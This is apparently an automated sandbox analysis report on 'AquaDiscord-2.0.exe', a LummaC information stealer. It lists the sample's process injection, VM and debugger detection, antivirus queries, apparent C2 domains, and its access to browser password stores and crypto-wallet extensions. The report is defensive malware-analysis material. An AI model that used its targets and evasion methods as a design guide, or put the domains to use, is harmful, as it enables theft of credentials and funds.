Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0042BFB4	2_2_0042BFB4
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00417FBC	2_2_00417FBC
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00B0EA4E	2_2_00B0EA4E
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00B104C2	2_2_00B104C2
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00B03400	2_2_00B03400
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00AFDDA2	2_2_00AFDDA2
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00AF969B	2_2_00AF969B

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: String function: 00413D40 appears 72 times
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: String function: 00B066CD appears 34 times
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: String function: 00407FD0 appears 51 times
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: String function: 00B01CE8 appears 42 times
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: String function: 00AF9BB0 appears 94 times

Source: AquaDiscord-2.0.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: AquaDiscord-2.0.exe	Static PE information: Section: .BSS ZLIB complexity 1.000337734502447
Source: AquaDiscord-2.0.exe	Static PE information: Section: .BSS ZLIB complexity 1.000337734502447

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/0@1/1

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Code function: 2_2_00439B30 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

2_2_00439B30

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7332:120:WilError_03

Source: AquaDiscord-2.0.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: AquaDiscord-2.0.exe, 00000002.00000003.1709060724.00000000053F1000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: AquaDiscord-2.0.exe

ReversingLabs: Detection: 31%

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

File read: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\AquaDiscord-2.0.exe "C:\Users\user\Desktop\AquaDiscord-2.0.exe"
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Process created: C:\Users\user\Desktop\AquaDiscord-2.0.exe "C:\Users\user\Desktop\AquaDiscord-2.0.exe"
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Process created: C:\Users\user\Desktop\AquaDiscord-2.0.exe "C:\Users\user\Desktop\AquaDiscord-2.0.exe"	Jump to behavior

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: AquaDiscord-2.0.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: AquaDiscord-2.0.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: AquaDiscord-2.0.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: AquaDiscord-2.0.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: AquaDiscord-2.0.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 0_2_00AF9D6A push ecx; ret	0_2_00AF9D7D
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00449A37 push edx; iretd	2_2_00449A39
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00447BC3 push esp; retf	2_2_00447BD9
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0043D490 push eax; mov dword ptr [esp], 010E0F0Ch	2_2_0043D49F
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00440630 push eax; mov dword ptr [esp], 6C6F6EA1h	2_2_00440632
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00449701 pushfd ; iretd	2_2_00449702
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004467BC push 00000051h; ret	2_2_0044686F
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00AF9D6A push ecx; ret	2_2_00AF9D7D

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Window / User API: threadDelayed 6911

Jump to behavior

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe TID: 7420	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe TID: 7528	Thread sleep count: 6911 > 30			Jump to behavior

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 0_2_00B0B6A8 FindFirstFileExW,		0_2_00B0B6A8
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 0_2_00B0B759 FindFirstFileExW,FindNextFileW,FindClose,FindClose,		0_2_00B0B759

Source: AquaDiscord-2.0.exe, 00000002.00000003.1747187894.0000000002DED000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1737584566.0000000002DED000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2401970930.0000000002DF7000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000002.2909932609.0000000002DF9000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2401811541.0000000002DED000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1791621621.0000000002DED000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000002.2909791855.0000000002DBC000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1692630755.0000000002DED000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1737979972.0000000002DED000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

API call chain: ExitProcess graph end node

graph_2-31530

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Code function: 2_2_0043EEC0 LdrInitializeThunk,

2_2_0043EEC0

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Code function: 0_2_00B01A20 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00B01A20

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 0_2_00B2019E mov edi, dword ptr fs:[00000030h]	0_2_00B2019E
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 0_2_00AF1BA0 mov edi, dword ptr fs:[00000030h]	0_2_00AF1BA0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00AF1BA0 mov edi, dword ptr fs:[00000030h]	2_2_00AF1BA0

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Code function: 0_2_00B06FE0 GetProcessHeap,

0_2_00B06FE0

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 0_2_00AF9A27 SetUnhandledExceptionFilter,	0_2_00AF9A27
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 0_2_00B01A20 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00B01A20
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 0_2_00AF9A33 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00AF9A33
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 0_2_00AF9673 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00AF9673
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00AF9A27 SetUnhandledExceptionFilter,	2_2_00AF9A27
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00B01A20 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00B01A20
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00AF9A33 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00AF9A33
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00AF9673 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00AF9673

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Code function: 0_2_00B2019E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_00B2019E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Memory written: C:\Users\user\Desktop\AquaDiscord-2.0.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: AquaDiscord-2.0.exe, 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: cloudewahsj.shop
Source: AquaDiscord-2.0.exe, 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rabidcowse.shop
Source: AquaDiscord-2.0.exe, 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: noisycuttej.shop
Source: AquaDiscord-2.0.exe, 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: tirepublicerj.shop
Source: AquaDiscord-2.0.exe, 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: framekgirus.shop
Source: AquaDiscord-2.0.exe, 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wholersorie.shop
Source: AquaDiscord-2.0.exe, 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: abruptyopsn.shop
Source: AquaDiscord-2.0.exe, 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: nearycrepso.shop
Source: AquaDiscord-2.0.exe, 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: fancywaxxers.shop

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Process created: C:\Users\user\Desktop\AquaDiscord-2.0.exe "C:\Users\user\Desktop\AquaDiscord-2.0.exe"

Jump to behavior

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: EnumSystemLocalesW,	0_2_00B068BD
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: EnumSystemLocalesW,	0_2_00B0B085
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: GetLocaleInfoW,	0_2_00B0B0D0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00B0A9F7
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00B0B177
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: GetLocaleInfoW,	0_2_00B0B27D
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: GetLocaleInfoW,	0_2_00B063B5
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00B0ACF0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: EnumSystemLocalesW,	0_2_00B0AC48
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: GetLocaleInfoW,	0_2_00B0AFB0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: EnumSystemLocalesW,	0_2_00B0AF43
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: EnumSystemLocalesW,	2_2_00B068BD
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: EnumSystemLocalesW,	2_2_00B0B085
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: GetLocaleInfoW,	2_2_00B0B0D0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_00B0A9F7
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_00B0B177
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: GetLocaleInfoW,	2_2_00B0B27D
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: GetLocaleInfoW,	2_2_00B063B5
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_00B0ACF0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: EnumSystemLocalesW,	2_2_00B0AC48
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: GetLocaleInfoW,	2_2_00B0AFB0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: EnumSystemLocalesW,	2_2_00B0AF43

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Code function: 0_2_00AFA2F5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00AFA2F5

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: AquaDiscord-2.0.exe, 00000002.00000003.2401811541.0000000002DED000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1791621621.0000000002DED000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2402060207.0000000002DF3000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: AquaDiscord-2.0.exe PID: 7400, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: AquaDiscord-2.0.exe, 00000002.00000003.1747187894.0000000002DED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: AquaDiscord-2.0.exe, 00000002.00000003.1747187894.0000000002DED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: AquaDiscord-2.0.exe, 00000002.00000003.1747187894.0000000002DED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: AquaDiscord-2.0.exe, 00000002.00000003.1747187894.0000000002DED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "},{"en":"cjelfplplebdjjenllpjcblmjkfcffne","ez":"Jaxx Liberty"},{"en":"fihk8t
Source: AquaDiscord-2.0.exe, 00000002.00000003.1791724305.0000000002E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3e
Source: AquaDiscord-2.0.exe, 00000002.00000003.1747187894.0000000002DED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: AquaDiscord-2.0.exe, 00000002.00000003.1737571288.0000000002E44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: AquaDiscord-2.0.exe, 00000002.00000003.1747187894.0000000002DED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
